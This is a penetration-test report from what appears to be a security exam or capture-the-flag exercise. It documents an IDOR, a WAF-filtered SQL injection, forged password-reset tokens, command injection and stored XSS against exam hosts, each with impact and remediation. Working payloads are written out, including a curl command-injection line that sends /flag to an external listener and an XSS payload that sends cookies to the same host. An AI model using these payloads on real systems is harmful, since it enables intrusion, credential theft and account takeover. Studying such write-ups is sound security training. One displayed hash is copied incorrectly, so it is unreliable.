Subdomain Discovery

Discovered subdomains:

web.cdu9xbn8bapxzssooudpig.exam.ns.agency
srv.cdu9xbn8bapxzssooudpig.exam.ns.agency
scm1.cdu9xbn8bapxzssooudpig.exam.ns.agency
site.scm.cdu9xbn8bapxzssooudpig.exam.ns.agency
scm.cdu9xbn8bapxzssooudpig.exam.ns.agency

Proof of Concept

By running the zdns tool along with lists from SecLists, I discovered web and srv on the first run, and scm on the subsequent runs. After that I knew that the next 2 subdomains would be harder so I used altdns to permutate the combinations of subdomains. After an hour of runs I discovered scm1, yet another hour later site.scm was found.

I also unintentionally discovered some subdomains possibly meant for the extended exam (which I alerted Cameron to):

srv.cdu9xbn8bapxzssooudpig.a.ext.exam.ns.agency
srv.cdu9xbn8bapxzssooudpig.api.ext.exam.ns.agency
srv.cdu9xbn8bapxzssooudpig.a.ext.exam.ns.agency
srv.cdu9xbn8bapxzssooudpig-v6.ext.exam.ns.agency
scm.cdu9xbn8bapxzssooudpigv6.ext.exam.ns.agency
scm.cdu9xbn8bapxzssooudpig-a.ext.exam.ns.agency
scm.cdu9xbn8bapxzssooudpig.s.ext.exam.ns.agency
scm.cdu9xbn8bapxzssooudpigapi.ext.exam.ns.agency
web.cdu9xbn8bapxzssooudpig.v6.ext.exam.ns.agency
scm.cdu9xbn8bapxzssooudpig-s.ext.exam.ns.agency

Most of these subdomains resolved to the default nginx page when I reported them, but now resolve to 503 Unavailable.

Insecure Direct Object Referrence (IDOR)

Target: https://web.cdu9xbn8bapxzssooudpig.exam.ns.agency/ (FaceGood)

Proof of Concept

Logging in manually and using the system as a normal user, it can be seen that there is a chat messaging function. Looking under the hood with Burp Suite reveals that there is a path which retrieves the message history of each user.
```
/message/history?v=NGIzMGY1Y2EtODUzZi00OWIyLWIxODAtMTNkNmM3ZDhiZjNl
```
Navigating to /message/history tells us there is “No mailkey provided.”
Trying different values in the v parameter will then return the error message “Cannot base64 decrypt value.”
Adding this information together we can deduce that the value used to retrieve each specific user’s chat history is the base64 encoded value of their mailbox key. ie.
```
base64(4b30f5ca-853f-49b2-b180-13d6c7d8bf3e) = NGIzMGY1Y2EtODUzZi00OWIyLWIxODAtMTNkNmM3ZDhiZjNl
```
The challenge hints at us interacting with the chatbot noone, so lets take a look at the chat history of the bot.

Using the base64 encoded value of 4badd00d-d11d-4bad-1dea-c001fac3db01 we request

https://web.cdu9xbn8bapxzssooudpig.exam.ns.agency/message/history?v=NGJhZGQwMGQtZDExZC00YmFkLTFkZWEtYzAwMWZhYzNkYjAx

At the beginning of the chat history we see the administrator talking about the flag and sending it to himself.
We can get the administrator’s mail-key by viewing the source of the page: 94476441-6443-9242-6445-c001fac3d00d

Repeating the process above, we end up requesting the following link where the final flag can be found

https://web.cdu9xbn8bapxzssooudpig.exam.ns.agency/message/history?v=OTQ0NzY0NDEtNjQ0My05MjQyLTY0NDUtYzAwMWZhYzNkMDBk

flag{411_53e1ng_eYe}

Impact

P3 - Medium

This type of vulnerability is not as severe as other vulnerabilities such as SQLi or OS Injection as an attacker would not be able to affect other users or the system itself. However, the attacker is able to view any/all sensitive conversations between users
(including administrators which may lead to further access to the system).

Remediation

The most realistic solution would simply be shifting the message retrieval system into the backend and abstracting it away from users. In this case, tokens should not be generated using universally-accesible information, rather they should be generated with unique identifiers such as session IDs , this will stop users from being able to access the data of other users in the system.

SQL Injection (WAF present)

Target: https://srv.cdu9xbn8bapxzssooudpig.exam.ns.agency/ (HulkSmash)

Findings

After trying to inject in every field possible to no avail, I went to /robots.txt which gave a hint: /?. This encouraged me to try injection in the URL bar itself, I tried multiple locations until I found one in /pages/
The following payloads trigger different errors which help piece together what is happening in the background.

https://srv.cdu9xbn8bapxzssooudpig.exam.ns.agency/page/' -- The very first error which reveals the DBMS to be MySQL
https://srv.cdu9xbn8bapxzssooudpig.exam.ns.agency/page/'''='@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890@'  -- Shows that some characters are actively being filtered out by the WAF 
https://srv.cdu9xbn8bapxzssooudpig.exam.ns.agency/page/'%25d' -- Shows that a dict is being passed in
https://srv.cdu9xbn8bapxzssooudpig.exam.ns.agency/page/'''=' -- Represents a successful query most likely truncated with a LIMIT 1

Unfortunately direct payloads do not work as there is a Web Application Firewall installed which filters all alphabet characters excluding abcdefx. All uppercase alpahabetical characters are filtered as well.
Due to the same reason, sqlmap was not able to return any results, however the tamper flag seems promising.

sqlmap also showed
"the target URL appears to be UNION injectable with 7 columns".
I also noticed some interesting bevahiour with the WAF:
- If the SQL query successfully returned, it would stay at /page/....
- If the query was faulty it would return to the main page with an error message
- If the query suceeded but returned false for some reason it would 302 back to the main page

Running wafw00f also shows that a WAF is present and running:

$  wafw00f -avr https://srv.cdu9xbn8bapxzssooudpig.exam.ns.agency/pages
--- trimmed --- 
Checking https://srv.cdu9xbn8bapxzssooudpig.exam.ns.agency/pages/
Generic Detection results:
The site https://srv.cdu9xbn8bapxzssooudpig.exam.ns.agency/pages/ seems to be behind a WAF or some sort of security solution
Reason: Blocking is being done at connection/packet level.
Number of requests: 11

I believe that the intended solution utilises multiple layers of hexadecimal encoding or URL encoding to properly inject.

Impact

P2 - High

If successful, an attacker would be able to manipulate the database to the extent of the permissions given to the system. The attacker can inflict damage even with the least amount of permissions, as read permissions are enough for a full dump of the database, containing sensitive data which could compromise users as well as the system itself. With the right permissions, an attacker could also upload a PHP webshell which would lead to remote command execution.

Remediation

Bullet-proof the Web Application Firewall from malicious input, or enforce checks on the fields to follow a certain pattern (as should be the case here). Additionally, the system should not return error messages that would give an attacker information to help further their attacks.

Broken Authentication

Target: https://scm1.cdu9xbn8bapxzssooudpig.exam.ns.agency/login (GIBSON)

Proof of Concept

Upon inspecting the webiste and interacting, I guessed that the main goal was to reset the admin’s password.
However the reset functionality does not allow directly resetting the admin’s password.
After many trial and error and lots of failure, I discovered that the user guest was available for reset.
Entering guest into reset brings us to a mailbox which then has reset links (all of them are the same)
Clicking on any of them brings us to
/reset/guest?token=35675e68f4b5af7b995d9205ad0fc43842f16450
From there we can easily reset the guest’s password as normal, but logging in shows us nothing.
the /robots.txt file hints to try /admin which is obviously not accesible by non-admin users.
I tried tampering with the request to try
/reset/admin?token=35675e68f4b5af7b995d9205ad0fc43842f16450, however I then got an invalid token error message.
Identifying the token as a hash-like sequence of characters, I began hashing the string guest with multiple different hashing algorithms.

I then discovered that sha1 was used to generate the tokens. For example

echo -n "guest" | sha1sum => 35675e68f4b5af7b995d9205ad0fc43842f16450

With this knowledge one can easily generate the admin’s reset token by doing
```
echo -n "admin" | sha1sum => 35675e68f4b5af7b995d9205ad0fc43842f16450
```
Using a newly reset password and navigating to /admin gives us the flag

flag{pitching_sometime_cornerstone}

Impact

P2 - High

An attacker can log in as any user they wish and at the same time cause denial-of-service as the original user will be unable to log back into their account after the original password is changed. An attacker with admin privileges can cause significant damage to a system.

Remediation

Reset tokens should not be sent directly back to a user in the browser, most services send it to the user’s registration email. Furthermore, a reset token should not allow anyone to easily identify the means used to generate it with, otherwise this would allow attackers to generate their own tokens such as in this case.

Command Injection

Target: https://site.scm.cdu9xbn8bapxzssooudpig.exam.ns.agency/ (SmugSite)

Proof of Concept

After trying many different points for possible Server-Side Request Forgery, I checked robots.txt which lead to /API/dig
Knowing that dig is a unix command-line tool, I guessed that the parameter v is being passed direcly as an argument, which means that command injection is possible.

After experimenting with multiple payloads, the following one gave me the flag:

https://site.scm.cdu9xbn8bapxzssooudpig.exam.ns.agency/API/dig?v=`curl listener.ml?q=$(cat /flag)`

flagrotating_skyrocketed_competition

Impact

P1 - Critical

An attacker can basically take over the whole system since they now have remote code execution, they can move laterally or vertically through the system.

Remediation

Escape user input before passing to commands that interact with a subshell.

Stored Cross-Site Scripting (XSS)

Target: https://scm.cdu9xbn8bapxzssooudpig.exam.ns.agency/ (GlueTrash)

Proof of Concept

Although all other fields in a Trash page are correctly escaped, the highlight field is vulerable to XSS, as it is reflected inside of an inline script code block. (Line 178-189)
The specific line where the payload can be stored and reflected is Line 179: var hl = '<PAYLOAD HERE>';
By intercepting the request in Burp Suite and changing the highlight field to:
```
   ';new+Image().src="http://listener.ml?"%2Bdocument.cookie;//
```
the payload then gets triggered by an admin allowing us to obtain the cookie value.

URL used:

https://scm.cdu9xbn8bapxzssooudpig.exam.ns.agency/page/50c35154-6aec-11e8-bf41-02420a0001d7?p=

================================================================================
> Requested GET path: /?flag=flag{walk_on_battle_Easter}
> accept-encoding: gzip, deflate
> connection: keep-alive
> accept: image/webp,image/apng,image/*,*/*;q=0.8
> user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/61.0.3163.100 Safari/537.36
> host: listener.ml
> referer: http://localhost/page/50c35154-6aec-11e8-bf41-02420a0001d7?p=

Impact

P2 - High
Attackers can steal session cookies and authenticate as other users or as an administrator which then grants the attacker administrative privileges.

Remediation

Avoid the use of inline-scripts, especially when user-input is involved. Alternatively, a strict Content-Security Policy would also be helpful